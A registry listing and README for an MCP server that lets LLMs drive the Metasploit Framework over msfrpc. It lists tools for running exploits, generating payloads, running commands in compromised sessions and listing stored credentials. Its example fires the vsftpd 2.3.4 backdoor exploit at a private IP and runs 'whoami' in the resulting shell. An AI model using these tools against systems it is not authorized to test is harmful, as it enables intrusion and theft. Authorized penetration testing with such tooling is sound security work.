io.github.daedalus/mcp-pymetasploit3
MCP server for Metasploit Framework via pymetasploit3
Open source Open in the app JSON README (API)
About
MCP server for Metasploit Framework via pymetasploit3
Details
- Kind
- MCP servers
- Topic
- No topic detected
- Publisher
- daedalus
- Origin
- official
- Category
- ferramentas
- Transport
- local
- Version
- 0.1.1
- Stars
- 1
- Open pull requests
- 12
- Last push
- 2026-06-23T20:35:08Z
- Repository state
- ativo
- Language
- Python
- License
- MIT
- Added
- 2026-08-29 03:02:40
- Updated
- 2026-08-29 03:02:40
- Origin id
io.github.daedalus/mcp-pymetasploit3
README
# mcp-pymetasploit3
MCP server for Metasploit Framework via pymetasploit3. This server exposes all pymetasploit3 functionality as MCP tools, allowing LLMs to interact with Metasploit Framework through the msfrpc protocol.
[](https://pypi.org/project/mcp-pymetasploit3/)
[](https://pypi.org/project/mcp-pymetasploit3/)
## Install
```bash
pip install mcp-pymetasploit3
```
## MCP Server Configuration
```json
{
"mcpServers": {
"mcp-pymetasploit3": {
"command": "mcp-pymetasploit3",
"env": {}
}
}
}
```
## Usage
### Starting Metasploit RPC Server
Before using the MCP server, you need to start the Metasploit RPC server:
**Using msfrpcd:**
```bash
msfrpcd -P yourpassword -p 55553 -n
```
**Using msfconsole:**
```bash
msfconsole -q
msf6 > load msgrpc Pass=yourpassword
```
### MCP Tools
Once connected, the following tools are available:
#### Connection Management
- `connect` - Connect to Metasploit RPC server
- `disconnect` - Disconnect from RPC server
- `get_client_info` - Get current connection status
#### Module Management
- `list_modules` - List available modules by type
- `use_module` - Load a specific module
- `get_module_info` - Get module description and info
- `get_module_options` - Get all module options
- `set_module_option` - Set a module option
- `get_missing_required` - Get required options not set
- `execute_module` - Execute a module
- `get_module_targets` - Get available targets
- `set_module_target` - Set the target
- `get_target_payloads` - Get compatible payloads
#### Payload Generation
- `generate_payload` - Generate a payload
#### Session Management
- `list_sessions` - List all active sessions
- `get_session_info` - Get session information
- `interact_session` - Write/read from session
- `session_run_command` - Run command with output
- `stop_session` - Stop a session
#### Console Management
- `create_console` - Create a new console
- `destroy_console` - Destroy a console
- `write_console` - Write to console
- `read_console` - Read console output
- `console_is_busy` - Check if console is busy
- `run_module_output` - Execute module and get output
#### Core/Framework
- `get_framework_version` - Get framework version
- `core_save` - Save core state
- `core_reload_modules` - Reload modules
- `core_set_global` - Set global variable
- `core_unset_global` - Unset global variable
#### Database
- `get_db_status` - Get database status
- `db_list_workspaces` - List workspaces
- `db_set_workspace` - Set current workspace
- `db_list_hosts` - List hosts
- `db_list_services` - List services
- `db_list_notes` - List notes
- `db_list_creds` - List credentials
- `db_list_vulns` - List vulnerabilities
#### Jobs
- `list_jobs` - List running jobs
- `stop_job` - Stop a job
- `get_job_info` - Get job information
#### Plugins
- `list_plugins` - List loaded plugins
- `load_plugin` - Load a plugin
- `unload_plugin` - Unload a plugin
#### Search
- `search_modules` - Search for modules
- `get_module_references` - Get module references
## Example
```python
# Connect to Metasploit
connect(password="yourpassword", host="127.0.0.1", port=55553, ssl=False)
# List exploits
exploits = list_modules("exploit")
# Use an exploit
use_module("exploit", "unix/ftp/vsftpd_234_backdoor")
# Set options
set_module_option("exploit", "unix/ftp/vsftpd_234_backdoor", "RHOSTS", "192.168.1.100")
# Execute
result = execute_module("exploit", "unix/ftp/vsftpd_234_backdoor", payload="cmd/unix/interact")
# List sessions
sessions = list_sessions()
# Interact with session
output = interact_session("1", "whoami")
# Disconnect
disconnect()
```
## Development
```bash
git clone https://github.com/daedalus/mcp-pymetasploit3.git
cd mcp-pymetasploit3
pip install -e ".[test]"
# run tests
pytest
# format
ruff format src/ tests/
# lint
ruff check src/ tests/
# type check
mypy src/
```
mcp-name: io.github.daedalus/mcp-pymetasploit3